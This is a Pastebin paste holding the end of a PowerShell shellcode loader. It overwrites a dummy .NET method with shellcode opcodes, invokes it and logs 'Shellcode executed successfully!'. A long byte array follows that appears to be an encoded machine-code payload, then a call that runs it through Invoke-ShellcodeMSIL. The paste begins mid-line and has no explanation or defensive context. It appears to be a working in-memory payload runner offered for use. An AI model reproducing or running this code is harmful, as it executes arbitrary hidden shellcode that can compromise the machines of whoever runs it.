Advertisement
Gusted

Untitled

Jul 25th, 2019
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.52 KB | None | 0 0
  1. ([IntPtr]::Size*2)"))"
  2. Write-Verbose 'Overwriting dummy method with the shellcode...'
  3.  
  4. $Arguments = New-Object Object[](3)
  5. $Arguments[0] = $TargetMethodAddress
  6. $Arguments[1] = $ShellcodeAddress
  7. $Arguments[2] = $FinalShellcode.Length
  8.  
  9. # Overwrite the dummy method with the shellcode opcodes
  10. $OverwriteMethod.Invoke($null, $Arguments)
  11.  
  12. Write-Verbose 'Executing shellcode...'
  13.  
  14. # 'Invoke' our shellcode >D
  15. $ShellcodeReturnValue = $TargetMethod.Invoke($null, @(0x11112222))
  16.  
  17. if ($ShellcodeReturnValue -eq 0)
  18. {
  19. Write-Verbose 'Shellcode executed successfully!'
  20. }
  21. }
  22.  
  23. [Byte[]] $buf = 0x4d,0x31,0xff,0x49,0x89,0xe0,0x66,0x41,0x81,0xe0,0x0,0xf3,0xdb,0xd2,0x41,0xb7,0x43,0x49,0xf,0xae,0x0,0x48,0xb9,0x1d,0xa8,0xa8,0x5a,0xbd,0x90,0x28,0x24,0x4d,0x8b,0x70,0x8,0x49,0xff,0xcf,0x4b,0x31,0x4c,0xfe,0x24,0x4d,0x85,0xff,0x75,0xf3,0x55,0x21,0x48,0x13,0x2,0xef,0x5f,0x58,0xbe,0xaf,0xe3,0x42,0xb3,0xf6,0xd,0xd4,0xef,0xe5,0x99,0xbe,0x66,0x5d,0x69,0x90,0x20,0xe0,0xa7,0xf4,0xbd,0xd8,0xa3,0x54,0x15,0xe1,0x57,0x96,0xf3,0xa1,0x54,0xc2,0x7,0xe5,0x2d,0xbe,0xc8,0x63,0x8c,0x96,0x29,0xb6,0xfb,0x3c,0x86,0xe1,0xb0,0x55,0xce,0x99,0xe2,0x20,0x77,0xca,0x16,0xb,0x7,0x4a,0x2e,0xf1,0x45,0x6b,0x1e,0x5c,0xcf,0xb,0xee,0xa3,0x92,0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81,0xa2,0x9e,0xd8,0x6e,0x67,0x43,0x7c,0x61,0x67,0xd1,0xbb
  24.  
  25.  
  26. Invoke-ShellcodeMSIL -Shellcode @($buf)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement